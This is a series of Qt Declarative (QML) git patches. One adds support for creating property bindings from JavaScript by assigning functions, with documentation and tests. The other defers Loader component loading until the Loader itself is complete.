    diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc
    index 2fa95d4..379a4ec 100644
    --- a/doc/src/declarative/propertybinding.qdoc
    +++ b/doc/src/declarative/propertybinding.qdoc
    @@ -95,44 +95,109 @@ Rectangle {
     \endcode
     
     
    -\section1 Effects of Property Assignment in JavaScript
    +\section1 Binding Properties from JavaScript
     
    -Assigning a property value from JavaScript does \e not create a property binding.
    -For example:
    +When working with both QML and JavaScript, it is important to differentiate between
    +\l {Property Binding} syntax in QML and simple \e {property assignment} in JavaScript. Take
    +the example below, which uses property binding to ensure the item's \c height is always twice
    +its \c width:
    +
    +\qml
    +Item {
    +    width: 100
    +    height: width * 2
    +}
    +\endqml
    +
    +On the other hand, take the following JavaScript code snippet, which \e assigns, rather
    +than \e binds, the value of the \c height property:
     
     \code
    -Rectangle {
    +Item {
    +    width: 100
     
         Component.onCompleted: {
    -        width = otherItem.width;
    +        height = width * 2  // if width changes later, height is not updated!
         }
     }
     \endcode
     
    -Instead of creating a property binding, this simply sets the \c width of the \l Rectangle
    -to the value of \c other.width at the time the JavaScript code is invoked.  See 
    -\l {Property Assignment vs Property Binding} for more details.
    +Instead of creating a property binding, this simply sets the \c height property to the correct
    +value \e {at the time that} the JavaScript code is invoked. Unlike the first example, the
    +\c height will never change if \c width changes.
    +
    +The \e {property : value} syntax for property binding is QML-specific and cannot be used in
    +JavaScript. Instead, to bind a property from JavaScript, assign a \e function to the property
    +that returns the required value. The following code correctly sets the property binding
    +created in the first example, but creates the binding in JavaScript rather than QML:
    +
    +\qml
    +Item {
    +    width: 100
    +
    +    Component.onCompleted: {
    +        height = (function() { return width * 2 })
    +    }
    +}
    +\endqml
    +
    +
    +\section2 Using \c this to create a binding
    +
    +When creating a property binding from JavaScript, QML allows the use of the \c this keyword to
    +refer to the object to which the property binding will be assigned. This allows one to
    +explicitly refer to a property within an object when there may be ambiguity about the exact
    +property that should be used for the binding.
     
    -Also note that assigning a value to a property that is currently bound will remove the binding.
    -A property can only have one value at a time, and if any code explicitly sets
    -this value, the binding is removed.  The \l Rectangle in the example below will have
    -a width of 13, regardless of the \c otherItem's width.
    +For example, the \c Component.onCompleted handler below is defined within the scope of the
    +\l Item, and references to \c width within this scope would refer to the \l Item's width, rather
    +than that of the \l Rectangle. To bind the \l Rectangle's \c height to its own \c width, the
    +function needs to explicitly refer to \c this.width rather than just \c width. Otherwise, the
    +height of the \l Rectangle would be bound to the width of the \l Item and not the \l Rectangle.
    +
    +\qml
    +Item {
    +    width: 500
    +    height: 500
    +
    +    Rectangle {
    +        id: rect
    +        width: 100
    +        color: "yellow"
    +    }
    +
    +    Component.onCompleted: {
    +        rect.height = (function() { return this.width * 2 })
    +    }
    +}
    +\endqml
    +
    +(In this case, the function could also have referred to \c rect.width rather than \c this.width.)
    +
    +Note that the value of \c this is not defined outside of its use in property binding.
    +See \l {QML JavaScript Restrictions} for details.
    +
    +
    +\section2 Effects of property assignment
    +
    +Note that assigning a value to a property that is currently bound will remove the binding.
    +A property can only have one value at a time, and if any code explicitly sets this value, the
    +binding is removed. In the following example, although \c width has been bound to \c height,
    +the binding is removed by the JavaScript code that assigns \c width to 50:
     
     \code
    -Rectangle {
    -    width: otherItem.width
    +Item {
    +    width: height * 2
    +    height: 100
     
         Component.onCompleted: {
    -        width = 13;
    +        width = 50;
         }
     }
     \endcode
     
    -There is no way to create a property binding directly from imperative JavaScript code,
    -although it is possible to set up a \l Binding object (shown below).
    -
     
    -\section1 Binding Element
    +\section1 The Binding Element
     
     The implicit binding syntax shown previously is easy to use and works perfectly for most uses
     of bindings.  In some advanced cases, it is necessary to create bindings explicitly using the 
    diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp
    index b2d0738..a5bd604 100644
    --- a/src/declarative/qml/qdeclarativebinding.cpp
    +++ b/src/declarative/qml/qdeclarativebinding.cpp
    @@ -274,6 +274,13 @@ QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDecl
         setNotifyOnValueChanged(true);
     }
     
    +QDeclarativeBinding::QDeclarativeBinding(const QScriptValue &func, QObject *obj, QDeclarativeContextData *ctxt, QObject *parent)
    +: QDeclarativeExpression(ctxt, obj, func, *new QDeclarativeBindingPrivate)
    +{
    +    setParent(parent);
    +    setNotifyOnValueChanged(true);
    +}
    +
     QDeclarativeBinding::~QDeclarativeBinding()
     {
     }
    @@ -292,6 +299,19 @@ QDeclarativeProperty QDeclarativeBinding::property() const
        return d->property; 
     }
     
    +void QDeclarativeBinding::setEvaluateFlags(EvaluateFlags flags)
    +{
    +    Q_D(QDeclarativeBinding);
    +    d->setEvaluateFlags(QDeclarativeQtScriptExpression::EvaluateFlags(static_cast(flags)));
    +}
    +
    +QDeclarativeBinding::EvaluateFlags QDeclarativeBinding::evaluateFlags() const
    +{
    +    Q_D(const QDeclarativeBinding);
    +    return QDeclarativeBinding::EvaluateFlags(static_cast(d->evaluateFlags()));
    +}
    +
    +
     class QDeclarativeBindingProfiler {
     public:
         QDeclarativeBindingProfiler(QDeclarativeBinding *bind)
    diff --git a/src/declarative/qml/qdeclarativebinding_p.h b/src/declarative/qml/qdeclarativebinding_p.h
    index 19e7099..0260b95 100644
    --- a/src/declarative/qml/qdeclarativebinding_p.h
    +++ b/src/declarative/qml/qdeclarativebinding_p.h
    @@ -147,14 +147,21 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBinding : public QDeclarativeExpr
     {
     Q_OBJECT
     public:
    +    enum EvaluateFlag { RequiresThisObject = 0x01 };
    +    Q_DECLARE_FLAGS(EvaluateFlags, EvaluateFlag)
    +
         QDeclarativeBinding(const QString &, QObject *, QDeclarativeContext *, QObject *parent=0);
         QDeclarativeBinding(const QString &, QObject *, QDeclarativeContextData *, QObject *parent=0);
         QDeclarativeBinding(void *, QDeclarativeRefCount *, QObject *, QDeclarativeContextData *, 
                             const QString &, int, QObject *parent);
    +    QDeclarativeBinding(const QScriptValue &, QObject *, QDeclarativeContextData *, QObject *parent=0);
     
         void setTarget(const QDeclarativeProperty &);
         QDeclarativeProperty property() const;
     
    +    void setEvaluateFlags(EvaluateFlags flags);
    +    EvaluateFlags evaluateFlags() const;
    +
         bool enabled() const;
     
         // Inherited from  QDeclarativeAbstractBinding
    @@ -177,6 +184,8 @@ private:
         Q_DECLARE_PRIVATE(QDeclarativeBinding)
     };
     
    +Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeBinding::EvaluateFlags)
    +
     QT_END_NAMESPACE
     
     Q_DECLARE_METATYPE(QDeclarativeBinding*)
    diff --git a/src/declarative/qml/qdeclarativeexpression.cpp b/src/declarative/qml/qdeclarativeexpression.cpp
    index 26c91a5..7a85ada 100644
    --- a/src/declarative/qml/qdeclarativeexpression.cpp
    +++ b/src/declarative/qml/qdeclarativeexpression.cpp
    @@ -103,6 +103,19 @@ void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, const QS
         expressionFunctionValid = false;
     }
     
    +void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, const QScriptValue &func,
    +                                         QObject *me)
    +{
    +    expression = func.toString();
    +
    +    QDeclarativeAbstractExpression::setContext(ctxt);
    +    scopeObject = me;
    +
    +    expressionFunction = func;
    +    expressionFunctionMode = ExplicitContext;
    +    expressionFunctionValid = true;
    +}
    +
     void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, void *expr, 
                                              QDeclarativeRefCount *rc, 
                                              QObject *me, const QString &srcUrl, int lineNumber)
    @@ -304,6 +317,19 @@ QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QO
         d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
     }
     
    +/*!  \internal */
    +QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QObject *scope, const QScriptValue &func,
    +                       QDeclarativeExpressionPrivate &dd)
    +: QObject(dd, 0)
    +{
    +    Q_D(QDeclarativeExpression);
    +    d->init(ctxt, func, scope);
    +
    +    if (QDeclarativeExpression_notifyIdx == -1)
    +        QDeclarativeExpression_notifyIdx = QDeclarativeExpression::staticMetaObject.indexOfMethod("_q_notify()");
    +    d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
    +}
    +
     /*!
         Destroy the QDeclarativeExpression instance.
     */
    @@ -412,6 +438,16 @@ void QDeclarativeQtScriptExpression::setNotifyObject(QObject *object, int notify
         }
     }
     
    +void QDeclarativeQtScriptExpression::setEvaluateFlags(EvaluateFlags flags)
    +{
    +    evalFlags = flags;
    +}
    +
    +QDeclarativeQtScriptExpression::EvaluateFlags QDeclarativeQtScriptExpression::evaluateFlags() const
    +{
    +    return evalFlags;
    +}
    +
     QScriptValue QDeclarativeQtScriptExpression::scriptValue(QObject *secondaryScope, bool *isUndefined)
     {
         Q_ASSERT(context() && context()->engine);
    @@ -476,7 +512,10 @@ QScriptValue QDeclarativeQtScriptExpression::eval(QObject *secondaryScope, bool
             oldOverride = ep->contextClass->setOverrideObject(expressionContext, secondaryScope);
         }
     
    -    QScriptValue svalue = expressionFunction.call(); // This could cause this to be deleted
    +    QScriptValue thisObject;
    +    if (evalFlags & RequiresThisObject)
    +        thisObject = ep->objectClass->newQObject(scopeObject);
    +    QScriptValue svalue = expressionFunction.call(thisObject); // This could cause this c++ object to be deleted
     
         if (isShared) {
             ep->sharedContext = oldSharedContext;
    diff --git a/src/declarative/qml/qdeclarativeexpression.h b/src/declarative/qml/qdeclarativeexpression.h
    index 72c5947..d40094b 100644
    --- a/src/declarative/qml/qdeclarativeexpression.h
    +++ b/src/declarative/qml/qdeclarativeexpression.h
    @@ -59,6 +59,7 @@ class QDeclarativeEngine;
     class QDeclarativeContext;
     class QDeclarativeExpressionPrivate;
     class QDeclarativeContextData;
    +class QScriptValue;
     class Q_DECLARATIVE_EXPORT QDeclarativeExpression : public QObject
     {
         Q_OBJECT
    @@ -94,6 +95,8 @@ Q_SIGNALS:
     protected:
         QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QString &,
                                QDeclarativeExpressionPrivate &dd);
    +    QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QScriptValue &,
    +                           QDeclarativeExpressionPrivate &dd);
         QDeclarativeExpression(QDeclarativeContextData *, void *, QDeclarativeRefCount *rc, 
                                QObject *me, const QString &, int, QDeclarativeExpressionPrivate &dd);
     
    diff --git a/src/declarative/qml/qdeclarativeexpression_p.h b/src/declarative/qml/qdeclarativeexpression_p.h
    index 1d25609..51cae0f 100644
    --- a/src/declarative/qml/qdeclarativeexpression_p.h
    +++ b/src/declarative/qml/qdeclarativeexpression_p.h
    @@ -113,6 +113,9 @@ class QDeclarativeQtScriptExpression : public QDeclarativeAbstractExpression,
     public:
         enum Mode { SharedContext, ExplicitContext };
     
    +    enum EvaluateFlag { RequiresThisObject = 0x01 };
    +    Q_DECLARE_FLAGS(EvaluateFlags, EvaluateFlag)
    +
         QDeclarativeQtScriptExpression();
         virtual ~QDeclarativeQtScriptExpression();
     
    @@ -131,6 +134,9 @@ public:
         void resetNotifyOnChange();
         void setNotifyObject(QObject *, int );
     
    +    void setEvaluateFlags(EvaluateFlags flags);
    +    EvaluateFlags evaluateFlags() const;
    +
         QScriptValue scriptValue(QObject *secondaryScope, bool *isUndefined);
     
         class DeleteWatcher {
    @@ -157,8 +163,13 @@ private:
         QObject *guardObject;
         int guardObjectNotifyIndex;
         bool *deleted;
    +
    +    EvaluateFlags evalFlags;
     };
     
    +Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeQtScriptExpression::EvaluateFlags)
    +
    +
     class QDeclarativeExpression;
     class QString;
     class QDeclarativeExpressionPrivate : public QObjectPrivate, public QDeclarativeQtScriptExpression
    @@ -169,6 +180,7 @@ public:
         ~QDeclarativeExpressionPrivate();
     
         void init(QDeclarativeContextData *, const QString &, QObject *);
    +    void init(QDeclarativeContextData *, const QScriptValue &, QObject *);
         void init(QDeclarativeContextData *, void *, QDeclarativeRefCount *, QObject *, const QString &, int);
     
         QVariant value(QObject *secondaryScope = 0, bool *isUndefined = 0);
    diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    index cbbf2b9..7701a23 100644
    --- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    +++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    @@ -359,8 +359,20 @@ void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
             }
         }
     
    +    QDeclarativeBinding *newBinding = 0;
    +    if (value.isFunction() && !value.isRegExp()) {
    +        QScriptContextInfo ctxtInfo(context);
    +        QDeclarativePropertyCache::ValueTypeData valueTypeData;
    +
    +        newBinding = new QDeclarativeBinding(value, obj, evalContext);
    +        newBinding->setSourceLocation(ctxtInfo.fileName(), ctxtInfo.functionStartLineNumber());
    +        newBinding->setTarget(QDeclarativePropertyPrivate::restore(*lastData, valueTypeData, obj, evalContext));
    +        if (newBinding->expression().contains("this"))
    +            newBinding->setEvaluateFlags(newBinding->evaluateFlags() | QDeclarativeBinding::RequiresThisObject);
    +    }
    +
         QDeclarativeAbstractBinding *delBinding =
    -        QDeclarativePropertyPrivate::setBinding(obj, lastData->coreIndex, -1, 0);
    +        QDeclarativePropertyPrivate::setBinding(obj, lastData->coreIndex, -1, newBinding);
         if (delBinding)
             delBinding->destroy();
     
    @@ -379,10 +391,7 @@ void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
             QString error = QLatin1String("Cannot assign [undefined] to ") +
                             QLatin1String(QMetaType::typeName(lastData->propType));
             context->throwError(error);
    -    } else if (!value.isRegExp() && value.isFunction()) {
    -        QString error = QLatin1String("Cannot assign a function to a property.");
    -        context->throwError(error);
    -    } else {
    +    } else if (!value.isFunction()) {
             QVariant v;
             if (lastData->flags & QDeclarativePropertyCache::Data::IsQList)
                 v = enginePriv->scriptValueToVariant(value, qMetaTypeId >());
    diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp
    index 76829b7..61e3002 100644
    --- a/src/declarative/qml/qdeclarativeproperty.cpp
    +++ b/src/declarative/qml/qdeclarativeproperty.cpp
    @@ -1480,19 +1480,28 @@ QDeclarativePropertyPrivate::restore(const QByteArray &data, QObject *object, QD
         if (data.isEmpty())
             return prop;
     
    -    prop.d = new QDeclarativePropertyPrivate;
    -    prop.d->object = object;
    -    prop.d->context = ctxt;
    -    prop.d->engine = ctxt->engine;
    -
         const SerializedData *sd = (const SerializedData *)data.constData();
         if (sd->isValueType) {
             const ValueTypeSerializedData *vt = (const ValueTypeSerializedData *)sd;
    -        prop.d->core = vt->core;
    -        prop.d->valueType = vt->valueType;
    +        return restore(vt->core, vt->valueType, object, ctxt);
         } else {
    -        prop.d->core = sd->core;
    +        QDeclarativePropertyCache::ValueTypeData data;
    +        return restore(sd->core, data, object, ctxt);
         }
    +}
    +
    +QDeclarativeProperty
    +QDeclarativePropertyPrivate::restore(const QDeclarativePropertyCache::Data &data, const QDeclarativePropertyCache::ValueTypeData &valueType, QObject *object, QDeclarativeContextData *ctxt)
    +{
    +    QDeclarativeProperty prop;
    +
    +    prop.d = new QDeclarativePropertyPrivate;
    +    prop.d->object = object;
    +    prop.d->context = ctxt;
    +    prop.d->engine = ctxt->engine;
    +
    +    prop.d->core = data;
    +    prop.d->valueType = valueType;
     
         return prop;
     }
    diff --git a/src/declarative/qml/qdeclarativeproperty_p.h b/src/declarative/qml/qdeclarativeproperty_p.h
    index fa0fef4..bd2c891 100644
    --- a/src/declarative/qml/qdeclarativeproperty_p.h
    +++ b/src/declarative/qml/qdeclarativeproperty_p.h
    @@ -112,7 +112,12 @@ public:
         static QByteArray saveValueType(const QMetaObject *, int, 
                                         const QMetaObject *, int);
         static QByteArray saveProperty(const QMetaObject *, int);
    +
         static QDeclarativeProperty restore(const QByteArray &, QObject *, QDeclarativeContextData *);
    +    static QDeclarativeProperty restore(const QDeclarativePropertyCache::Data &,
    +                                        const QDeclarativePropertyCache::ValueTypeData &,
    +                                        QObject *,
    +                                        QDeclarativeContextData *);
     
         static bool equal(const QMetaObject *, const QMetaObject *);
         static bool canConvert(const QMetaObject *from, const QMetaObject *to);
    diff --git a/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp b/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
    index 558ef90..200cc1c 100644
    --- a/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
    +++ b/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
    @@ -46,6 +46,8 @@
     #include "private/qdeclarativeengine_p.h"
     #include "private/qdeclarativeguard_p.h"
     
    +#include 
    +
     QT_BEGIN_NAMESPACE
     
     struct QDeclarativeValueTypeObject : public QScriptDeclarativeClass::Object {
    @@ -161,17 +163,41 @@ void QDeclarativeValueTypeScriptClass::setProperty(Object *obj, const Identifier
         if (o->objectType == QDeclarativeValueTypeObject::Reference) {
             QDeclarativeValueTypeReference *ref = static_cast(obj);
     
    +        ref->type->read(ref->object, ref->property);
    +        QMetaProperty p = ref->type->metaObject()->property(m_lastIndex);
    +
    +        QDeclarativeBinding *newBinding = 0;
    +        if (value.isFunction() && !value.isRegExp()) {
    +            QDeclarativeContextData *ctxt = QDeclarativeEnginePrivate::get(engine)->getContext(context());
    +
    +            QDeclarativePropertyCache::Data cacheData;
    +            cacheData.flags = QDeclarativePropertyCache::Data::IsWritable;
    +            cacheData.propType = ref->object->metaObject()->property(ref->property).userType();
    +            cacheData.coreIndex = ref->property;
    +
    +            QDeclarativePropertyCache::ValueTypeData valueTypeData;
    +            valueTypeData.valueTypeCoreIdx = m_lastIndex;
    +            valueTypeData.valueTypePropType = p.userType();
    +
    +            newBinding = new QDeclarativeBinding(value, ref->object, ctxt);
    +            QScriptContextInfo ctxtInfo(context());
    +            newBinding->setSourceLocation(ctxtInfo.fileName(), ctxtInfo.functionStartLineNumber());
    +            QDeclarativeProperty prop = QDeclarativePropertyPrivate::restore(cacheData, valueTypeData, ref->object, ctxt);
    +            newBinding->setTarget(prop);
    +            if (newBinding->expression().contains("this"))
    +                newBinding->setEvaluateFlags(newBinding->evaluateFlags() | QDeclarativeBinding::RequiresThisObject);
    +        }
    +
             QDeclarativeAbstractBinding *delBinding = 
    -            QDeclarativePropertyPrivate::setBinding(ref->object, ref->property, m_lastIndex, 0);
    +            QDeclarativePropertyPrivate::setBinding(ref->object, ref->property, m_lastIndex, newBinding);
             if (delBinding) 
                 delBinding->destroy();
     
    -        ref->type->read(ref->object, ref->property);
    -        QMetaProperty p = ref->type->metaObject()->property(m_lastIndex);
             if (p.isEnumType() && (QMetaType::Type)v.type() == QMetaType::Double) 
                 v = v.toInt();
             p.write(ref->type, v);
             ref->type->write(ref->object, ref->property, 0);
    +
         } else {
             QDeclarativeValueTypeCopy *copy = static_cast(obj);
             copy->type->setValue(copy->value);
    diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
    index 948b39c..c8c926a 100644
    --- a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
    +++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
    @@ -1,13 +1,73 @@
     import Qt.test 1.0
    +import QtQuick 1.0
    +
    +import "functionAssignment.js" as Script
     
     MyQmlObject {
         property variant a
    -    property bool runTest: false
    -    onRunTestChanged: {
    +    property int aNumber: 10
    +
    +    property bool assignToProperty: false
    +    property bool assignToPropertyFromJsFile: false
    +
    +    property bool assignWithThis: false
    +    property bool assignWithThisFromJsFile: false
    +
    +    property bool assignToValueType: false
    +
    +    property bool assignFuncWithoutReturn: false
    +    property bool assignWrongType: false
    +    property bool assignWrongTypeToValueType: false
    +
    +
    +    onAssignToPropertyChanged: {
    +        function myFunction() {
    +            return aNumber * 10;
    +        }
    +        a = myFunction;
    +    }
    +
    +    property QtObject obj: QtObject {
    +        property int aNumber: 4212
    +        function myFunction() {
    +            return this.aNumber * 10;   // should use the aNumber from root, not this object
    +        }
    +    }
    +    onAssignWithThisChanged: {
    +        a = obj.myFunction;
    +    }
    +
    +    onAssignToPropertyFromJsFileChanged: {
    +        Script.bindPropertyWithThis()
    +    }
    +
    +    onAssignWithThisFromJsFileChanged: {
    +        Script.bindProperty()
    +    }
    +
    +    property Text text: Text { }
    +    onAssignToValueTypeChanged: {
    +        text.font.pixelSize = (function() { return aNumber * 10; })
    +        a = (function() { return text.font.pixelSize; })
    +    }
    +
    +
    +    // detecting errors:
    +
    +    onAssignFuncWithoutReturnChanged: {
             function myFunction() {
    -            console.log("hello world");
             }
             a = myFunction;
         }
     
    +    onAssignWrongTypeChanged: {
    +        function myFunction() {
    +            return 'a string';
    +        }
    +        aNumber = myFunction;
    +    }
    +
    +    onAssignWrongTypeToValueTypeChanged: {
    +        text.font.pixelSize = (function() { return 'a string'; })
    +    }
     }
    diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
    new file mode 100644
    index 0000000..14daa76
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
    @@ -0,0 +1,17 @@
    +function bindProperty()
    +{
    +    a = (function(){ return aNumber * 10 })
    +}
    +
    +
    +function TestObject() { }
    +TestObject.prototype.aNumber = 928349
    +TestObject.prototype.bindFunction = function() {
    +    return this.aNumber * 10        // this should not use the TestObject's aNumber
    +}
    +var testObj = new TestObject()
    +
    +function bindPropertyWithThis()
    +{
    +    a = testObj.bindFunction
    +}
    diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    index cfe8cad..e7f9a2c 100644
    --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    @@ -155,7 +155,10 @@ private slots:
         void qtcreatorbug_1289();
         void noSpuriousWarningsAtShutdown();
         void canAssignNullToQObject();
    -    void functionAssignment();
    +    void functionAssignment_fromBinding();
    +    void functionAssignment_fromJS();
    +    void functionAssignment_fromJS_data();
    +    void functionAssignmentfromJS_invalid();
         void eval();
         void function();
         void qtbug_10696();
    @@ -2514,9 +2517,8 @@ void tst_qdeclarativeecmascript::canAssignNullToQObject()
         }
     }
     
    -void tst_qdeclarativeecmascript::functionAssignment()
    +void tst_qdeclarativeecmascript::functionAssignment_fromBinding()
     {
    -    {
         QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.1.qml"));
     
         QString url = component.url().toString();
    @@ -2529,26 +2531,64 @@ void tst_qdeclarativeecmascript::functionAssignment()
         QVERIFY(!o->property("a").isValid());
     
         delete o;
    -    }
    +}
     
    -    {
    +void tst_qdeclarativeecmascript::functionAssignment_fromJS()
    +{
    +    QFETCH(QString, triggerProperty);
    +
    +    QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.2.qml"));
    +    QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
    +
    +    MyQmlObject *o = qobject_cast(component.create());
    +    QVERIFY(o != 0);
    +    QVERIFY(!o->property("a").isValid());
    +
    +    o->setProperty("aNumber", QVariant(5));
    +    o->setProperty(triggerProperty.toUtf8().constData(), true);
    +    QCOMPARE(o->property("a"), QVariant(50));
    +
    +    o->setProperty("aNumber", QVariant(10));
    +    QCOMPARE(o->property("a"), QVariant(100));
    +
    +    delete o;
    +}
    +
    +void tst_qdeclarativeecmascript::functionAssignment_fromJS_data()
    +{
    +    QTest::addColumn("triggerProperty");
    +
    +    QTest::newRow("assign to property") << "assignToProperty";
    +    QTest::newRow("assign to property, from JS file") << "assignToPropertyFromJsFile";
    +
    +    QTest::newRow("assign to value type") << "assignToValueType";
    +
    +    QTest::newRow("use 'this'") << "assignWithThis";
    +    QTest::newRow("use 'this' from JS file") << "assignWithThisFromJsFile";
    +}
    +
    +void tst_qdeclarativeecmascript::functionAssignmentfromJS_invalid()
    +{
         QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.2.qml"));
    +    QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
     
         MyQmlObject *o = qobject_cast(component.create());
         QVERIFY(o != 0);
    +    QVERIFY(!o->property("a").isValid());
     
    +    o->setProperty("assignFuncWithoutReturn", true);
         QVERIFY(!o->property("a").isValid());
    -    
    +
         QString url = component.url().toString();
    -    QString warning = url + ":10: Error: Cannot assign a function to a property.";
    +    QString warning = url + ":63: Unable to assign QString to int";
         QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
    -    
    -    o->setProperty("runTest", true);
    -    
    -    QVERIFY(!o->property("a").isValid());
    +    o->setProperty("assignWrongType", true);
    +
    +    warning = url + ":70: Unable to assign QString to int";
    +    QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
    +    o->setProperty("assignWrongTypeToValueType", true);
     
         delete o;
    -    }
     }
     
     void tst_qdeclarativeecmascript::eval()
    -- 
    cgit v0.12
    
    
    From 80f74d3801ddece4d34b4a663bf1bdc23ecc4a67 Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Thu, 27 Jan 2011 15:53:45 +1000
    Subject: Don't load components until the Loader component itself is completed
    
    Previously components were loaded as soon as setSource() or
    setSourceComponent() were called, even if the Loader component was not
    complete. If a source component had been set, the itemChanged(),
    statusChanged() etc. signals would be emitted before the Loader would
    be complete and before the internal item had been sized. If a source
    had been set via url, these signals were not emitted at all. It also
    caused loaded() to be emitted twice for components set by
    setSourceComponent().
    
    Task-number: QTBUG-16319
    Reviewed-by: Martin Jones
    ---
     .../graphicsitems/qdeclarativeloader.cpp           | 57 +++++++------
     .../graphicsitems/qdeclarativeloader_p_p.h         |  1 +
     .../qdeclarativeloader/tst_qdeclarativeloader.cpp  | 94 +++++++++++++---------
     3 files changed, 86 insertions(+), 66 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    index 242435c..871850d 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    @@ -262,6 +262,7 @@ void QDeclarativeLoader::setSource(const QUrl &url)
         d->clear();
     
         d->source = url;
    +
         if (d->source.isEmpty()) {
             emit sourceChanged();
             emit statusChanged();
    @@ -272,18 +273,9 @@ void QDeclarativeLoader::setSource(const QUrl &url)
     
         d->component = new QDeclarativeComponent(qmlEngine(this), d->source, this);
         d->ownComponent = true;
    -    if (!d->component->isLoading()) {
    -        d->_q_sourceLoaded();
    -    } else {
    -        connect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
    -                this, SLOT(_q_sourceLoaded()));
    -        connect(d->component, SIGNAL(progressChanged(qreal)),
    -                this, SIGNAL(progressChanged()));
    -        emit statusChanged();
    -        emit progressChanged();
    -        emit sourceChanged();
    -        emit itemChanged();
    -    }
    +
    +    if (isComponentComplete())
    +        d->load();
     }
     
     /*!
    @@ -324,6 +316,7 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
     
         d->component = comp;
         d->ownComponent = false;
    +
         if (!d->component) {
             emit sourceChanged();
             emit statusChanged();
    @@ -332,18 +325,8 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
             return;
         }
     
    -    if (!d->component->isLoading()) {
    -        d->_q_sourceLoaded();
    -    } else {
    -        connect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
    -                this, SLOT(_q_sourceLoaded()));
    -        connect(d->component, SIGNAL(progressChanged(qreal)),
    -                this, SIGNAL(progressChanged()));
    -        emit progressChanged();
    -        emit sourceChanged();
    -        emit statusChanged();
    -        emit itemChanged();
    -    }
    +    if (isComponentComplete())
    +        d->load();
     }
     
     void QDeclarativeLoader::resetSourceComponent()
    @@ -351,6 +334,27 @@ void QDeclarativeLoader::resetSourceComponent()
         setSourceComponent(0);
     }
     
    +void QDeclarativeLoaderPrivate::load()
    +{
    +    Q_Q(QDeclarativeLoader);
    +
    +    if (!q->isComponentComplete() || !component)
    +        return;
    +
    +    if (!component->isLoading()) {
    +        _q_sourceLoaded();
    +    } else {
    +        QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
    +                q, SLOT(_q_sourceLoaded()));
    +        QObject::connect(component, SIGNAL(progressChanged(qreal)),
    +                q, SIGNAL(progressChanged()));
    +        emit q->statusChanged();
    +        emit q->progressChanged();
    +        emit q->sourceChanged();
    +        emit q->itemChanged();
    +    }
    +}
    +
     void QDeclarativeLoaderPrivate::_q_sourceLoaded()
     {
         Q_Q(QDeclarativeLoader);
    @@ -465,9 +469,10 @@ QDeclarativeLoader::Status QDeclarativeLoader::status() const
     
     void QDeclarativeLoader::componentComplete()
     {
    +    Q_D(QDeclarativeLoader);
    +
         QDeclarativeItem::componentComplete();
    -    if (status() == Ready)
    -        emit loaded();
    +    d->load();
     }
     
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    index 2239b16..e366a14 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    @@ -72,6 +72,7 @@ public:
         void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
         void clear();
         void initResize();
    +    void load();
     
         QUrl source;
         QGraphicsObject *item;
